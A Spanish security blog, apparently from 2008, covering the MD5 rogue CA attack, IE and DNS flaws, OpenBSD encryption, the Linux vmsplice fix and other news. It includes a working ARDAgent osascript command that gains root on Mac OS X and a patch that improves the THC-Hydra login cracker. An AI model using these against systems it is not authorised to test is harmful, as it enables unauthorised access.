Ataque a SSL/HTTPS: afectadas CA's con firmas MD5

Hola,

Estos días está teniendo lugar en Berlín el 25C3, 25 Chaos Communication Congress. En él se están presentando interesantes ponencias en temas relacionados con la seguridad.

En concreto, hoy se ha presentado MD5 considered harmful today, Creating a rogue CA Certificate, un PoC en el que describen cómo aprovechar las colisiones MD5, para generar un certificado válido y realizar ataques de suplantación de identidad, afectando directamente a las redes de confianza, concepto en el que se basa la Public Key Infrastructure (PKI), y sobre el que se consolida gran parte de Internet.

Los investigadores en cuestión son Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger.

El problema de fondo es que existan CAs que continúen usando MD5 para sus firmas, aún cuando MD5 se sabe que está roto desde 2004, en relación a la posibilidad de encontrar colisiones y ya en 2007 se presentó un paper teórico de como atacar a una CA basado en estas premisas.

Ha tenido que ser en 2008, con la ayuda de un CPD de 200 PS3 equivalente a 8000 CPUs estándar o $20k de tiempo en amazon EC2, cuando un equipo de investigadores de seguridad informática ha demostrado como explotar esta técnica en la práctica para afectar al protocolo HTTPS, (si, el candadito que sale en la parte inferior derecha del navegador), y en realidad cualquier protocolo que use SSL . Pero la pregunta es, quien sigue usando MD5 a día de hoy para cosas serias? y la triste respuesta es que muchos sistemas..., de los 30k certificados que cogieron para realizar el ataque, 9k estaban firmados con md5, a rapidssl.com se le ha atribuido el 97% de ellos.



Para saber si el sitio que visitamos puede correr peligro de ser suplantado y por lo tanto permitiría ataques 'man-in-the-middle' sobre SSL, desde Firefox, podemos ir a "Herramientas" -> "Información de la página" -> "Seguridad" -> "Ver Certificado" -> "Detalles" -> "Algoritmo de firma del certificado". Si veis algo como "PKCS #1 SHA-1 con cifrado RSA" estais a salvo, sin embargo si aparece "MD5" entonce ese sitio es vulnerable.

Este tipo de ataques podrían conducir a ataques de phising "perfectos" o indetectables, con certificados SSL válidos o bien se podrían combinar junto con el fallo descubierto por Dan Kaminsky hace unos meses sobre DNS Poisoning, por lo que serían totalmente eficaces y de muy dificil detección, debido a que la victima no podría darse cuenta que el sitio está siendo suplantado. Este tipo de vulnerabilidades podría llegar a afectar o "salpicar" a la banca o comercio online, ya que son el tipo de tecnologías que usan como medida de seguridad para el protocolo de datos entre el cliente y el servidor, es un tema bastante serio.

La solución pasa porque ningún CA firme con MD5, y sólo se utilice SHA1 o algoritmos más seguros (SHA-2 todavia está en desarrollo y no está totalmente soportado), al mismo tiempo los navegadores tienen que actualizar sus blacklist para revocar esos certificados, mozilla y microsoft se han pronunciado, más abajo os dejo los enlaces.


Enlaces:

Información detallada
Más información técnica
Presentación en el congreso
Sitio de demo (poner la hora del sistema anterior a Agosto 2004 antes de hacer click

Certificados:

Certificado real
Certificado modificado


Respuesta de Mozilla/Microsoft:

Mozilla

Microsoft y 2



Referencias:

ISC SANS: MD5 Considered harmful today - Creating a rogue CA certificate

ISC SANS: MD5 SSL Summary

Predicciones de seguridad informática para 2009

Os dejo una nota corta, leída en el blog de Xavier Caballé sobre las predicciones de seguridad informática para el año 2009 que lo tenemos ahí mismo:

10 Security Predictions for 2009 (Channel Web)
2009 Security Predicitions (SANS Institute)
Security Predicitions: Experts Look Ahead to 2009 and Beyond (CIO.com)
Rich Mogull: 7 Infosec Trends for 2009 (CSO Online)

Internet Explorer: Critical Microsoft Security Bulletin MS08-078

[caption id="attachment_220" align="alignleft" width="228" caption="IE Bug"][/caption]

Hola,

Cuando por primera vez lo leí, hace ya días, pensé "bueno.. uno más", pero este bug está dando mucho que hablar.

En primer lugar anunciaron que sólo afectaba a IE7, la vulnerabilidad salió a la luz en un foro chino un día antes del segundo martes de diciembre (que pillos!, los segundos martes de cada mes es cuando m$ distribuye los parches de actualizaciones, dejandoles literalmente en bragas), el problema se complicó muchísimo al notificar un investigador de seguridad danés que la vulnerbailidad se extendía a todas las versiones de Internet Explorer y afecta a todos los sistemas operativos Windows. Este fallo, que reside en el manejo de etiquetas XML, permite ejecutar código arbitrario en la máquina remotamente sin intervención alguna por parte del usuario, sólo es necesario que se visite una página web con Internet Explorer para que el malware sea instalado en la máquina.

Microsoft recomendaba deshabilitar el fichero Oledb32.dll para permanecer seguro (así como no navegar como administrador) y tener actualizados los antivirus, anti-spyware, activado firewall, etc... 'lo qué? ' Es decir,... como saben que puede entrar cualquier virus o similar y no son capaces de evitarlo, actualiza el antivirus y agarrese quien pueda... no creo que sea una medida decente, aún te quedan ganas de seguir usando IE? sigue leyendo...

Además, anunciaron que había un bajo riesgo de infectarse, a pesar de la gran fauna de malware que está aprovechando esta vulnerabilidad y está actualmente in the wild, alegando que un número muy bajo de páginas web estaban infectando máquinas y que había un porcentaje muy bajo de infectarse... viva!! juguemos a la ruleta rusa! No es de recibo... Cuando se sabe a ciencia cierta que hay más de dos millones de máquinas infectadas debido a esta vulnerabilidad y más de 10.000 páginas web con el código javascript malicioso... ejem!

Por todo esto las empresas de seguridad han recomentado la instalación y uso de otros navegadores, como Firefox, Opera, Safari o Chrome, por lo que por fin hoy, deciden sacar el parche fuera de ciclo (como era de esperar), aunque ha dejado como semana y media para que cualquiera lo explote siendo publico (viva el full-disclosure!). En theinquirer comentan sobre el lanzamiento del parche "El mismo será distribuido desde Windows Update, Microsoft Update y Windows Server Update Services (WSUS), para usuarios de Windows 2000, XP, Vista, Server 2003 y Server 2008. El parche debe corregir la vulnerabilidad en IE5.01, IE6 e IE7. Para IE8, actualmente en fase beta, la corrección llegará posteriormente ya que no ha sido incluido en la lista de navegadores soportados."

Vamos, a cualquiera le puede pasar, no existe software 100% seguro, no existe aún técnica o manual que pueda certificarlo, pero hay maneras y maneras... y cuando ha pasado ya muchas veces (ya no sólo a nivel de navegador, sino de sistema.... recordemos el blaster, sasser, y los ya más recientes MS08-67, MS08-68...), es hora de plantearse que software usas teniendo en cuenta que mucha gente, un porcentaje muy alto del tiempo que pasa ante una máquina es con el navegador abierto.

Se puede aprender algo de todo esto, siempre se aprende algo de los errores, podemos seguir varios consejos como no navegar con un usuario con privilegios que no necesite (nunca como adminsitrador), tener un sistema de protección para el sistema y la red..., hay gente que no sigue ninguno de ellos e incluso nunca sabrá que existió este fallo.

Personalmente recomendaría un navegador que me ofrezca cierta garantía de calidad/seguridad, yo apuesto por Firefox y Opera, tu por cuál apuestas?

Desde el Sans ISC nos avisan del lanzamiento del parche MS08-078, y recalcan que no sustituye al MS08-073 de principios de mes, ambos son necesarios para hacer a IE "seguro"

Feliz upgrade a la gente que siga usando IE, recordar es imprescindible actualizarlo, y también podeis replantearos si sería conveniente cambiar de navegador. Un dato curioso es que durante este proceso según un estudio la cuota del IE ha bajado al 70%, siendo tan fácil descargar e instalar un navegador, y lo poco traumático que es ya que te importan los marcadores y demás.

Es hora de reflexionar!

Referencias (en este enlace podeis encontrar información técnica y muchas otras referencias):

NIST IT Security: Internet Explorer XML Exploit Allows Remote Code Execution


Instalar parche [microsoft.com]

WordPress 2.6 & Wordpress-MU (Multi-User) 2.6 is out!: Llamamiento a la actualización para la rama MU

Wordpress 2.6 'Tyner' (como siempre haciendo referencia a un músico de jazz), fué lanzado el 15 de julio con notables mejoras que hacen de él un CMS aún más potente. Entre ellas destacan la posibilidad de acceder a cualquier versión de un post, realizar comparaciones entre versiones y restaurar alguna si fuera necesario. Muy útil para blogs editados por varios autores.



Han incoportado una novedad "Press This!", y nos da la posibilidad de crear un bookmarklet en nuestro navegador y de esta manera hacer nuestro blogging más cómodo desde cualquier sitio de la web.
Por ejemplo, como dice Matt en el blog, si haces click en "Press This" desde un sitio de YouTube, automáticamente extraerá el código embed del video, o si lo haces desde una página de Flickr hará muy sencillo añadir la imagen en un post.

También existen otras mejoras, como el soporte de Google Gears, la gestión de imágenes, previsualización de temas, versiones más rápidas de TinyMCE, jQuery y jQuery UI.

Otro punto donde han puesto especial atención es la seguridad. Cada vez más Wordpress se está enfocando hacía ser un software más seguro, ejemplos de esto son, la eliminación de los errores de la base de datos en la versión 2.3.2, o la integración de contraseñas salteadas y seguridad en las cookies en la versión 2.5. Esta vez en la versión 2.6 la gran novedad, es la desactivación por defecto de la publicación remota via la variedad de protocolos XML-RPC y Atom Publishing Protocol (aunque se puede activar de manera sencilla), sin duda, minimizar las funciones XML-RPC es un paso para combatir gran cantidad de ataques y evitamos la exposición de un potencial riesgo para la seguridad.
Otro punto destacable es el soporte SSL completo en el núcleo, así como la capacidad de forzar SSL para aplicar seguridad al sitio.

Podeis leer la lista de cambios completa de Wordpress 2.6 en el blog oficial escrito por Matt, así como un video explicando las mejoras.


Ahora, hablaremos sobre Wordpress-MU 2.6 lanzada el 28 de julio. La versión Multi-Usuario basada en Wordpress 2.6, es el motor que usa la red wordpress.com así como muchas otras (incluida esta misma, iniciativa de la Universidad de Alicante).
En primer lugar, decir que no os habeis perdido muchas versiones desde la versión 1.5.1, y es que esta fué la inmediantamente anterior. Han cambiado la numeración de 1.x a 2.x, para evitar la confusión y ajustarla a la de su software base: Wordpress.
Con un gran número de mejoras entre las que destacan mejoras en la lucha contra spammers, nuevas funciones como get_id_from_blogname(), is_main_blog() y más sumadas a las nuevas características ya comentadas para Wordpress 2.6, os dejo la lista completa de cambios, además Donncha (el desarrollador principal de la rama MU), ha tenido el detallazo de citarme en los agradecimientos.
Esta cita se debe, al igual que el título del post al descubrimiento de un fallo grave de seguridad, el cual permite robar las cookies del administrador, y que desvelaré de aquí a un mes. De aquí hasta que se revelen los detalles técnicos todos los administradores que hospeden Wordpress MU (en todas sus versiones, < 2.6) deben actualizar para solucionar el problema a la nueva verisón 2.6.

Nada más descubrir la vulnerabilidad tanto los desarrolladores de Wordpress-MU como los administradores de esta red en la Universidad de Alicante fueron avisados, proporcionandoles un parche para corregirla.

Dentro de un més, publicaré los detalles técnicos, así que hasta entonces..

Publicados los detalles sobre el caso Kaminsky

Llevaba unos días a ver si encontraba un hueco para poneros al día sobre el "culebrón Kaminsky". Después de todo, se ha desvelado antes de hora (querían que fuera en el Blackhat de Las Vegas), pero se desvelaron los detalles técnicos el 21 de Julio.

Todo empezó cuando el día 8 de Julio el US-CERT sacó a la luz la vulnerabilidad descubierta por Dan Kaminsky sobre DNS, en principio afectaban a una lista de más de 90 fabricantes: Cisco, Microsoft, Sun, Apple, Debian, FreeBSD, Alcatel-Lucent, 3Com, etc y permitía la falsificación de las respuestas DNS y por lo tanto redireccionar tráfico. Desde el día 8 se está produciendo una actualización masiva en cualquier dispositivo que use DNS. Como ya sabeis, cualquier error de seguridad en una aplicación o protocolo puede tener un gran impacto, pero, cuando hablamos de DNS, la gravedad se vuelve exponencial, ya que prácticamente todos los demás protocolos usan DNS para su correcto funcionamiento.

Los detalles técnicos se mantuvieron en secreto, aunque ya se sabía algo y lo comentamos por aquí en la entrada de DNS, Kaminsky fue muy discrito incluso publicó un testeador para saber si nuestros DNS estaban afectados. Y era lógico debido a que incluso uno o dos días después los servidores DNS de ISP como Telefónica estaban afectados, tardaron un par de días en arreglarlo.

El intento de Dan de mantener los detalles en silencio, para dar tiempo a los administradores a actualizar, alguién se le adelantó. Además de la gran cantidad de especulaciones que ha habido y que muchos investigadores se pusieron a estirar del hilo..., el paso definitivo lo dió el director de la compañía Matasano, que era uno de los que conocía todos los detalles. Publicó la información completa en su blog, y luego se arrepintió y lo retiró pero ya era tarde, más tarde se podía encontrar en slashdot y en la caché de Google, esa información corrió como la espuma.

Poco más tarde, empezaron a aparecer los exploits, y aunque la mayoría de fabricantes ya han sacado un parche, es muy peligrosa que esa información ande suelta por Internet, a tan sólo 2 semanas de la publicación del problema.

Como conclusión, (y ahora dejaré los enlaces...), creo que Kaminsky lo hizo muy bien, ya que aun conociendo el fallo desde enero, esperó hasta Julio para que la mayoría de fabricantes tuviera listo el parche, y dejando un mes hasta desvelar la información completa, por el contrario... muy mal por parte de otros que desvelaron los detalles antes de tiempo, lo que hizo que no tardarón en salir programas que aprovechaban el fallo, abajo teneis algunos para Metasploit.

Información:

Noticia en Slashdot, y enlaces a los detalles técnicos

Noticia informando sobre los "DNS exploits in the wild"

Snort signature for DNS servers



Metasploit:
Kaminsky DNS Cache Poisoning Flaw Exploit

Kaminsky DNS Cache Poisoning Flaw Exploit for Domains



Cómo parchear algunos sistemas:

How To Patch BIND9 Against DNS Cache Poisoning On Debian Etch

BIND 9 Vulnerability And Solution - Patch BIND To Avoid Cache Poisoning (Fedora/CentOS)

Multitud de implementaciones de DNS vulnerables a ataques de envenenamiento de caché

Hola,

Al parecer se ha armado un gran revuelo a lo largo de Internet debido a que se ha hecho pública la noticia de que múltiples implementaciones de DNS son vulnerables a ataques conocidos como "Cache poisoning". El servicio DNS es el responsable de convertir los nombres de dominios utilizados comunmente a direcciones IP, es un servicio básico usado a diario para el cotidiano funcionamiento de Internet (navegación web, correo, etc).

En el aviso que ha publicado el US CERT se listas más de 90 vendedores comprometidos.
Poco a poco, van lanzando parches para cada sistema concreto, por ejemplo debian, cisco, red hat, etc

Aunque se le atribuye el descubrimiento a Dan Kaminsky, y no por quitarle mérito ya que fue él junto con un gran grupo de vendedores los que han estado trabajando desde principios de años para parchear el problema, anteriormente, ya se habían dado avisos sobre este problema, por ejemplo D J Bernstein, cuando desarolló djbdns ya se dió cuenta del problema, del mismo modo Ian Green tamibén presento información relacionada hace 3 años.

Es un fallo de diseño en la implementación del protocolo DNS y se habla de la mayor actualización sobre seguridad en la historia de Internet. En los detalles técnicos sale a la luz la razón de todo el problema: la posible predicción de los IDs y puertos usados para las transacciones (ambos de 16 bits), estos datos deberían ser de mayor tamaño además de generarse de manera aleatoria.

Los parches consisten en corregir esta característica para que estos datos se eligan de manera aleatoria, los sistemas que los usan no son vulnerables.

Y es que DNS no fué un protocolo pensado en la seguridad... una solución sería DNSSEC, al igual que el protocolo SMTP se creó del mismo modo y más tarde surgieron las extensiones (ESMTP). Sobre si DNS es seguro, DNSSEC y la viabilidad de implantación se habló en el blog de administración de redes.

El propio Dan, dará más detalles en el Black Hat en agosto, y hasta entonces se espera una rápida labor por parte de los administradores para parcherar los sistemas. Por el momento Dan Kaminsky ha publicado una herramienta que permite conocer si nuestros servidores de DNS son vulnerables (normalmente los de nuestro proveedor, ISP), en "DNS CHECKER" en la parte derecha podemos comprobarlo haciendo click sobre el botón "Check my DNS", así del mismo modo sabremos cuando está parcheado.

Ahora entiendo porque salió publicada hace unos días una noticia citando que habían conseguido redirigir los DNS de la ICANN, organismo que gestiona las direcciones IP a nivel mundial, y aún no se sabía como habían conseguido hacerlo, salió en varios medios, entre ellos meneame y The Inquirer

Otros medios lo señalan, como elmundo.es pero de manera sensacionalista y poco informada.

En hispasec.com también se hacen eco, y dan detalles técnicos en castellano.

Para una información de primera mano recomiendo leer los detalles técnicos publicados por el aviso del US CERT (US Computer Emergency Readiness Team) y del SANS Internet Storm Center

Esperamos una pronta solución coordinada para este problema a nivel global.

Cifrar particiones y datos en OpenBSD

Todos los sistemas operativos modernos disponen de soporte kernel-space para cifrado de datos: Linux (cryptoloop para 2.4, dm-crypt en 2.6, loop-aes 2.4/2.6), FreeBSD (GEOM_BDE, o a partir de 6.0 el nuevo GEOM_ELI), Mac OS X (FileVault), etc, aunque últimamente se han popularizado sistemas user-space por su facilidad como TrueCrypt, algunos siendo además multiplataforma.
Sobre algunos de ellos me gustaría hablar aquí, en concreto sobre loop-aes y GEOM_ELI, pero llevo queriendo hablar de estos temas desde que abrí el blog, así que tiempo al tiempo.

Hoy el tema que nos ocupa es el cifrado de datos en OpenBSD, esta sistema operativo de tipo Unix está basado en BSD4.4 y es descendiente directo de NetBSD, pero con un enfoque especial hacia la seguridad y criptografía.
Actualmente la última versión disponible es la versión 4.3 y su slogan "Free, Functional & Secure" destaca sus mayores virtudes: libre, funcional y seguro. Está liberada bajo licenia BSD, al igual que sus hermanas (FreeBSD, NetBSD...).

Para poder usar este soporte de cifrado no es necesario recompilar el kernel (a diferencia de FreeBSD por ejemplo) y se puede hacer de manera muy sencilla.

Podemos realizar el proceso de dos maneras diferentes, creando una partición del disco duro y cifrandola, o bien creando un fichero y usandolo como una partición virtual, gracias a vnconfig el cual nos permite configurar dispositivos para swapping y pseudo sistemas de ficheros.

En esta pequeña guía voy a utilizar la segunda aproximación por ser más sencilla para alguién que empieza y no tener que tocar el disco físicamente, de esta manera cualquier problema será mucho menos doloroso.

Empezamos, en primer lugar vamos a crear un fichero con contenido aleatorio del tamaño que queramos para nuestra partición cifrada, en este ejemplo voy a poner 100 MB. Crearemos el fichero con este comando:

dd if=/dev/prandom of=/path/to/file bs=1048576 count=100

El parámetro count indica el número de MB que tendrá la partición, el parametro of indica el path y fichero de destino.

Vereis algo similar a esto:


# dd if=/dev/prandom of=/path/to/file bs=1048576 count=100
100+0 records in
100+0 records out
104857600 bytes transferred in 73.364 secs (1429262 bytes/sec)


Bien, ya tenemos el primer paso hecho, ahora vamos a crear el dispositivo especial, más concretamente, lo que vamos a hacer es asociar el dispositivo vnodo encriptado al fichero recién creado, esto lo haremos así:


/usr/sbin/vnconfig -ck -v svnd0 /path/to/file


Nos pedirá la clave de cifrado,


Encryption key:
svnd0: 104857600 bytes on /path/to/file


Cuidado: Debereis teclear la clave conscientemente puesto que sólo la pedirá una vez, si no estais seguros deberéis repetir el proceso, podeis usar svnd1 en adelante, si os indica que svnd0 está ocupado, al igual si creais más de una partición virtual, tendreis que usar distintos dispositivos.

Cuando escribais la clave vereis el mensaje de arriba svnd0: 104857600 bytes on /path/to/file

Una vez linkado el dispositivo cifrado al fichero, pasamos a darle un formato válido para OpenBSD:

# newfs /dev/rsvnd0c
/dev/rsvnd0c: 204800 sectors in 2048 cylinders of 1 tracks, 100 sectors
100.0MB in 2 cyl groups (1568 c/g, 76.56MB/g, 9856 i/g)
super-block backups (for fsck -b #) at:
32, 156832,
#

Nota para usuarios avanzados: Antes de realizar el newfs comprobar que el sistema no se encuentra en securelevel 2, lo podeis hacer mediante:
# sysctl -a|grep kern.securelevel
Si está en ese nivel tendreis que bajar al menos a securelevel 1, de otra manera el sistema no os dejará.
Este aviso es para usuarios que vean un inquietante Operation not permitted siendo root, en ese caso debereis ir a /etc/rc.securelevel y bajar el valor de la etiqueta securelevel a 1, seguido de un reboot.


Seguimos, ya tenemos un formato válido, sólo queda montarlo:

mount /dev/svnd0d /punto/de/montaje

Con df podemos comprobar que se ha montado correctamente, por ejemplo lo podemos montar en /mnt y veremos algo similar a:


# df -h|egrep "Size|svnd"
Filesystem Size Used Avail Capacity Mounted on
/dev/svnd0c 97.5M 2.0K 92.6M 0% /mnt


Ya tenemos nuestros datos cifrados, vnconfig usa el cipher Blowfish antes de escribir en el disco, para más información podeis acceder a la página man de vnconfig: man vnconfig.




Ahora una pequeña chuleta:

Para montar la partición cifrada:

/usr/sbin/vnconfig -ck -v svnd0 /path/to/encrypted/file
mount /dev/svnd0d /punto/montaje


Para desmontarla:

umount /punto/montaje
vnconfig -u -v /dev/svnd0d


Para analiazar la partición:

/usr/sbin/vnconfig -ck -v svnd0 /path/to/encrypted/file
fsck /dev/svnd0c


Error "vnconfig: VNDIOCSET: Device busy"

Si ponemos mal el password, al usar el comando vnconfig, cuando montemos la partición veremos un error como este:

mount_ffs: /dev/svnd0c on /mnt: Invalid argument


Al volver a realizar un vnconfig, veremos


# /usr/sbin/vnconfig -ck -v svnd0 /data/datos/cru
Encryption key:
vnconfig: VNDIOCSET: Device busy


Para solucionarlo tendremos que limpiar ese dispositivo:


# vnconfig -u -v vnd0
vnd0: cleared


Y ya podremos volver a usar vnconfig, otra opción es usar otro dispositivo por ej: svnd1 y svnd1c

Eso es todo amigos.

Parcheada grave vulnerabilidad de seguridad en Mac OS X Leopard < 10.5.4

La actualización que lanzó Apple  ayer de Leopard 10.5.4, 30 de junio de 2008, corrige una grave vulnerabilidad en ARDAgent que permite escalada de privilegios a root de manera sencilla.

La situación se complica al conocer que existe un troyano circulando por ahí llamado AppleScript-THT.

El problema viene debido a un binario setuidado que no realiza las comprobaciones oportunas, se puede hacer una prueba de concepto ejecutando desde un terminal (Aplicaciones -> Utilidades -> Terminal):

osascript -e 'tell app "ARDAgent" to do shell script "id"';

lo que en un sistema comprometido devuelve:

uid=0(root) gid=0(wheel) ...

cuando debería devolver el usuario con el que entramos en la cuenta. Para parchearlo es necesario instalar la acualización a Leopard 10.5.4, aunque mientras Apple se dormía sacando el parche una solución casera era quitarle el bit setuid al binario implicado de esta manera (perdón, tendría que haberlo publicado antes :p):

osascript -e 'tell app "ARDAgent" to do shell script "chmod 755 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent"'

(lo más gracioso es que utilizamos la propia vulnerabilidad para parcherarla, también valdría hacer un chmod 755 como root o mediante sudo a /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent )

Una vez parchead, para saber que estamos protegidos deberemos volver a ejecutar el comando,

osascript -e 'tell app "ARDAgent" to do shell script "id"';

y no deberemos ver root por ningún sitio, sino nuestro usuario.

Lo peor de todo esto, el tiempo que ha tardado Apple en dar una respuesta oficial, mientras la solución pasaba por realizar el chmod manualmente para desactivar el bit setuid al binario.

Para mí una de las mayores desventajas de las empresas que desarrollan software propietario, el tiempo hasta una respuesta oficial en forma de parche ante incidencias de seguridad críticas como esta, todas son iguales.

Más información: en el blog del washingtonpost a cargo de Brian Krebs, Security Fix.

Este parche se uno a una serie de correciones de otros fallos de seguridad, en este enlace podeis echarle un ojo al informe de la actualización 10.5.4

Talleres GNU/Linux módulo IES San Vicente en la Universidad de Alicante

Desde GULA (Grupo de Usuarios de Linux de Alicante) y gracias a la colaboración de COPLA (Coneixement Obert i Programari Lliure a la Universitat d'Alacant) hemos preparado unos talleres para alumnos del módulo en Administración de Sistemas Informáticos del IES San Vicente sobre GNU/Linux.

El primero de ellos está orientado a mantenimiento y administración del sistema donde se trararán temas como sistemas de ficheros, X Window System, monitorización de procesos, configuración de red, módulos del kernel, sistema de paquetería, sistema de arranque (runlevels), etc.

Ambos tendrán una parte práctica, en este caso se aplicará el uso de comandos para administración, se realizará la configuración de adaptadores de red y de las X mediante la edición del fichero xorg.conf.

La segunda está más enfocada a seguridad en red sobre GNU/Linux: networking, iptables, monitorización de red, IDS, estudio de logs del sistema, securización de servicios, análisis forense, etc.

En cuanto a la parte práctica, se trabajará con ejemplos de filtrado con iptables usando una distribución empaquetada por el GrupoM la cual incluye una aplicación que permite configurar una topología de red virtual de manera automática virtualizando máquinas con UML (User-Mode-Linux) y se pondrán en uso comandos de evaluación de red como nmap, ping/sing, etc




Saludos

Grave fallo en el núcleo Linux afecta a versiones entre 2.6.17 y 2.6.24.1: Solución

Ha salido a la luz un bug en el kernel Linux que afecta a versiones entre la 2.6.17 y 2.6.24.1. En concreto afecta a la syscall vmsplice y permite a usuarios no autorizados leer y escribir en posiciones de memoria arbitrarias haciendo posible una escala de privilegios local a root.

Las distribuciones más importantes en sus versiones del kernel por defecto están afectadas: Ubuntu Gutsy 7.10, Fedora 8, OpenSuse 7.3, Debian, etc

En securityfocus han archivado el advisory de seguridad, podeis leerlo en Linux Kernel Multiple Prior to 2.6.24.1 Multiple Memory Access Vulnerabilities. Incluye información para solucionar el problema, además de código para saber si tu kernel está afectado.

SOLUCIÓN

Existe un parche para desactivar vmsplice en vivo (en el aire) y de esta manera el parche no funcionará, ya que busca la dirección de sys_vmsplice (via /proc/kallsyms) y reemplaza el primer byte con una instrucción RET (mediante mmap a /dev/kmem), lo podeis encontrar aquí:

http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c

Pero la solución realmente pasa por actualizar a 2.6.24.1.

ACTUALIZACIÓN 01:00 AM: Al parecer el kernel 2.6.24.1 sólo corrige parcialmente el fallo.

Según indican en la lkml existe una variante que aún afecta a esta versión y explican cómo solucionar completamente esta fallo.

He adaptado estas instrucciones para crear un parche que funcione en la versión 2.6.24.1 y corrige totalmente el fallo del vmsplice, está probado y funciona perfectamente:

--- a/fs/splice.c 2008-02-08 20:55:30.000000000 +0100
+++ b/fs/splice.c 2008-02-11 22:00:53.000000000 +0100
@@ -1242,6 +1242,12 @@
if (unlikely(!base))
break;

+ /* CVE-2008-0009, CVE-2008-0010 fix */
+ if(!access_ok(VERIFY_READ, base, len)) {
+ error = -EFAULT;
+ break;
+ }
+
/*
* Get this base offset and number of pages, then map
* in the user pages.

Lo podeis descargar desde aqui.

Para aplicarlo simplemente:

penelope:/usr/src/linux# patch -p1 <../patch-vmsplice-2.6.24.1.diff
patching file fs/splice.c

Sólo queda recompilar el kernel e instalarlo.

ACTUALIZACIÓN 10:00 AM: kernel.org ha lanzado la versión oficial 2.6.24.2 que corrige totalmente el fallo de igual manera.

De todos modos el bug ya estaba corregido en versiones git, y no afectaba a kernels securizados con grsecurity, pax o selinux.

Podeis encontrarlo en kernel.org

Este es un ejemplo de la rapidez con la que responde el software libre ante problemas de seguridad, algo impensable en el modelo de software privativo en el cúal normalmente se demora demasiado el lanzamiento de parches o soluciones ante incidencias de seguridad críticas, algo inaceptable.

Podeis encontrar información sobre la incidencia y parches no oficiales para los kernels por defecto de Debian:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464953

En la rama oficial no estoy seguro si ya se ha incluido el parche ya que yo uso un núcleo personalizado.

Ya se ha producido la actualización de los núcleos de debian, teneis más información en el informe detallado junto con los paquetes deb.

ACTUALIZACIÓN: aep nos cuenta en los comentarios que existe un módulo para el kernel que soluciona el fallo en el aire, para los servidores que no hayan podido reiniciarse aún.

En la nueva versión 2.6.24.1 y 2.6.24.2 sigue funcionando el parche de bootsplash 3.1.6 presentado anteriormente en este blog.

Feliz upgrade!

Este post fue barrapunteado: post original

Parche para el módulo http de THC-Hydra: error manejando los códigos de respuesta HTTP

THC-Hydra es una conocidísima herramienta de pentest, la cual ocupa el puesto 15 en el ranking 'top 100 de herramientas de seguridad de red' de insecure.org, y es parte de nessus (la herramienta de análisis de vulnerabilidades de mayor renombre del mundo UNIX).
Permite realizar ataques de diccionario por red soportando más de 30 protocolos, con el fin de comprobar la seguridad de nuestros servicios.

Como comentan en su página:

"Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast."

El número uno de los grandes agujeros de seguridad son las contraseñas, como muestra cada estudio de seguridad de contraseñas. Hydra es un crackeador de login paralelizado que soporta numerosos protocolos de ataque. Añadir nuevos modulos es sencillo, ademas que, es flexible y muy rápido.

"This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system."

Esta herramienta es un código de prueba de concepto, para dar a los investigadores y consultores de seguridad la posibilidad de mostrar lo fácil que sería obtener acceso no autorizado a un sistema remoto

Hace unos días estuve probando el módulo hydra-http, uno de los módulos de THC-Hydra en su última versión (la 5.4) referente al protocolo http, y me dí cuenta que no funcionaba como yo esperaba en determinadas situaciones.

En concreto, da falsos positivos debido a que no parsea correctamente los códigos de estado del protocolo http devueltos por el servidor al realizar las consultas para saber si un usuario es válido en el servidor http o no. Es decir, hay casos en los cuales el usuario es valido pero THC-Hydra no nos informa de ello.

Pongamos un escenario en el cual sabemos que existe un directorio protegido con autenticación, por ejemplo /protected/ en el cúal no existe index.html ni ninguna página por defecto (los usuarios legítimos acceden mediante la uri /protected/path_desconocido), nosotros pasaríamos al thc-hydra como parámetros la dirección del servidor, el usuario y el password (o las listas de estos), así como el path que queremos comprobar (en nuestro caso /protected/).

La herramienta se pondrá en funcionamiento, y realizará una petición a /protected/, si el usuario NO es válido el código de estado que devuelve el servidor será 401 (Authentication Requiered), sin embargo si el usuario es correcto, al no existir un index.html ni similares el código de retorno será 403 (Forbidden), pero debido a un fallo en el manejo de los código de estado http devuetos no nos informará que el usuario es correcto. El mismo error sucede con códigos como 404 (Not found), ya que hydra-http busca el código de respuesta http 200 (Correcto) o 301 (Redirect).

He escrito un parche que corrige este bug, aqui lo teneis:

--- hydra-http_orig.c 2007-12-31 14:51:42.000000000 +0100
+++ hydra-http.c 2007-12-31 15:50:29.000000000 +0100
@@ -53,7 +53,7 @@
*/

ptr = ((char *) index(buf, ' ')) + 1;
- if (ptr != NULL && (*ptr == '2' || strncmp(ptr, "301", 3) == 0)) {
+ if (ptr != NULL && (*ptr == '2' || *ptr== '3' || strncmp(ptr, "403", 3) == 0 || strncmp(ptr, "404", 3) == 0)) {
hydra_report_found_host(port, ip, "www", fp);
hydra_completed_pair_found();
} else {

para aplicarlo simplemente entrar en el directorio de THC-Hydra 5.4 y patch -p0 < hydra-http.patch
seguidamente compilar de nuevo.

Un ejemplo práctico:

Supongamos que sabemos que existe un recurso protegido llamado /protected/ (pero no tiene un fichero por defecto):

Petición sin usuario:

user@host:~$ wget http://server/protected/ 2>&1 |grep HTTP
Petición HTTP enviada, esperando respuesta... 401 Authorization Required

Petición con un usuario válido:

user@host:~$ wget --http-user=user --http-password=password http://server/protected/ 2>&1 |grep HTTP
Petición HTTP enviada, esperando respuesta... 403 Forbidden

entonces correriamos el hydra, (para simplificar el ejemplo usare solo un usuario/password):

user@host:~/hydra-5.4-src$ ./hydra server http-head -l user -p password -m /protected/
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-12-31 16:00:09
[DATA] 1 tasks, 1 servers, 1 login tries (l:1/p:1), ~1 tries per task
[DATA] attacking service http-head on port 80
[STATUS] attack finished for server (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2007-12-31 16:00:10

No encuentra que el usuario sea válido, aunque si lo es!

Sin embargo, aplicamos el parche

user@host:~/hydra-5.4-src$ patch -p0<hydra-http.patch
patching file hydra-http.c

/* recompilamos */
user@host:~hydra-5.4-src$ make clean && ./configure && make

